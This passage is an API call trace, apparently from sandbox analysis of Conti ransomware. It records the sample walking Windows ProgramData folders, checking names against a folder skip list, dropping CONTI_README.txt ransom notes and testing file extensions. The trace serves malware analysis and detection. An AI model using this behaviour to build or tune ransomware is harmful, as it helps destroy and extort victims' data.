	[0104.685] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.685] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523bd9c6, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523bd9c6, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523bd9c6, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0104.685] GetProcessHeap () returned 0x1720000
	[0104.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bed08 | out: hHeap=0x1720000) returned 1
	[0104.685] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0104.685] GetProcessHeap () returned 0x1720000
	[0104.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d3c8 | out: hHeap=0x1720000) returned 1
	[0104.685] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1
	[0104.685] lstrcmpiW (lpString1="Diagnosis", lpString2=".") returned 1
	[0104.685] lstrcmpiW (lpString1="Diagnosis", lpString2="..") returned 1
	[0104.685] lstrcmpiW (lpString1="Diagnosis", lpString2="tmp") returned -1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="winnt") returned -1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="Application Data") returned 1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="AppData") returned 1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="temp") returned -1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="thumb") returned -1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="$Recycle.Bin") returned 1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="$RECYCLE.BIN") returned 1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="System Volume Information") returned -1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="Program Files") returned -1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="Program Files (x86)") returned -1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="Boot") returned 1
	[0104.686] lstrcmpiW (lpString1="Diagnosis", lpString2="Windows") returned -1
	[0104.686] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0104.686] lstrlenW (lpString="Diagnosis") returned 9
	[0104.686] GetProcessHeap () returned 0x1720000
	[0104.686] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x46) returned 0x173d198
	[0104.686] lstrcpyW (in: lpString1=0x173d198, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0104.686] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0104.686] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.686] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.686] GetProcessHeap () returned 0x1720000
	[0104.686] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4a) returned 0x17bee10
	[0104.686] lstrcpyW (in: lpString1=0x17bee10, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.686] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\*"
	[0104.686] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.686] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.686] GetProcessHeap () returned 0x1720000
	[0104.686] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x1741220
	[0104.686] lstrcpyW (in: lpString1=0x1741220, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.686] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.686] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\CONTI_README.txt"
	[0104.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0104.688] GetProcessHeap () returned 0x1720000
	[0104.688] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741220 | out: hHeap=0x1720000) returned 1
	[0104.688] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0104.689] CloseHandle (hObject=0x30c) returned 1
	[0104.689] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7fb0
	[0104.690] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.690] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.690] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.690] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.690] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2=".") returned 1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="..") returned 1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="tmp") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="winnt") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="Application Data") returned 1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="AppData") returned 1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="temp") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="thumb") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="$Recycle.Bin") returned 1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="$RECYCLE.BIN") returned 1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="System Volume Information") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="Program Files") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="Program Files (x86)") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="Boot") returned -1
	[0104.690] lstrcmpiW (lpString1="AsimovUploader", lpString2="Windows") returned -1
	[0104.690] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.690] lstrlenW (lpString="AsimovUploader") returned 14
	[0104.690] GetProcessHeap () returned 0x1720000
	[0104.690] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1741290
	[0104.690] lstrcpyW (in: lpString1=0x1741290, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.690] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.690] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="AsimovUploader" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader"
	[0104.690] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader") returned 49
	[0104.690] GetProcessHeap () returned 0x1720000
	[0104.690] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x17411b0
	[0104.690] lstrcpyW (in: lpString1=0x17411b0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader"
	[0104.690] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*"
	[0104.690] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader") returned 49
	[0104.690] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.690] GetProcessHeap () returned 0x1720000
	[0104.690] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x86) returned 0x17c6f28
	[0104.691] lstrcpyW (in: lpString1=0x17c6f28, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader"
	[0104.691] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\"
	[0104.691] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\CONTI_README.txt"
	[0104.691] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\asimovuploader\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0104.691] GetProcessHeap () returned 0x1720000
	[0104.691] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6f28 | out: hHeap=0x1720000) returned 1
	[0104.691] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0104.692] CloseHandle (hObject=0x324) returned 1
	[0104.692] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0104.692] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.693] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0104.693] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.693] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.693] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523e3ce3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523e3ce3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.693] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.693] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.693] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.693] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.693] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523e3ce3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523e3ce3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0104.693] GetProcessHeap () returned 0x1720000
	[0104.693] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17411b0 | out: hHeap=0x1720000) returned 1
	[0104.693] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0104.693] GetProcessHeap () returned 0x1720000
	[0104.693] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741290 | out: hHeap=0x1720000) returned 1
	[0104.693] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523e3ce3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523e3ce3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.693] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.693] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.693] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.693] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.693] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2=".") returned 1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="..") returned 1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="tmp") returned -1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="winnt") returned -1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="Application Data") returned 1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="AppData") returned 1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="temp") returned -1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="thumb") returned -1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="$Recycle.Bin") returned 1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="$RECYCLE.BIN") returned 1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="System Volume Information") returned -1
	[0104.693] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="Program Files") returned -1
	[0104.694] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="Program Files (x86)") returned -1
	[0104.694] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="Boot") returned 1
	[0104.694] lstrcmpiW (lpString1="DownloadedScenarios", lpString2="Windows") returned -1
	[0104.694] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.694] lstrlenW (lpString="DownloadedScenarios") returned 19
	[0104.694] GetProcessHeap () returned 0x1720000
	[0104.694] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x1740820
	[0104.694] lstrcpyW (in: lpString1=0x1740820, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.694] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.694] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="DownloadedScenarios" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios"
	[0104.694] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned 54
	[0104.694] GetProcessHeap () returned 0x1720000
	[0104.694] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17e4158
	[0104.694] lstrcpyW (in: lpString1=0x17e4158, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios"
	[0104.694] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*"
	[0104.694] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned 54
	[0104.694] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.694] GetProcessHeap () returned 0x1720000
	[0104.694] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x90) returned 0x181c6b0
	[0104.694] lstrcpyW (in: lpString1=0x181c6b0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios"
	[0104.694] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\"
	[0104.694] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\CONTI_README.txt"
	[0104.694] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0104.694] GetProcessHeap () returned 0x1720000
	[0104.694] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c6b0 | out: hHeap=0x1720000) returned 1
	[0104.694] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0104.695] CloseHandle (hObject=0x324) returned 1
	[0104.695] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8430
	[0104.696] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.696] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.696] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.696] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.696] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523e3ce3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523e3ce3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.696] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.696] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.696] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.696] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.696] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1
	[0104.696] lstrcmpiW (lpString1="windows.uif_ondemand.xml.inbox", lpString2=".") returned 1
	[0104.696] lstrcmpiW (lpString1="windows.uif_ondemand.xml.inbox", lpString2="..") returned 1
	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch=".CONTI") returned 0x0
	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch="CONTI_README.txt") returned 0x0
	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch=".exe") returned 0x0
	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch=".dll") returned 0x0
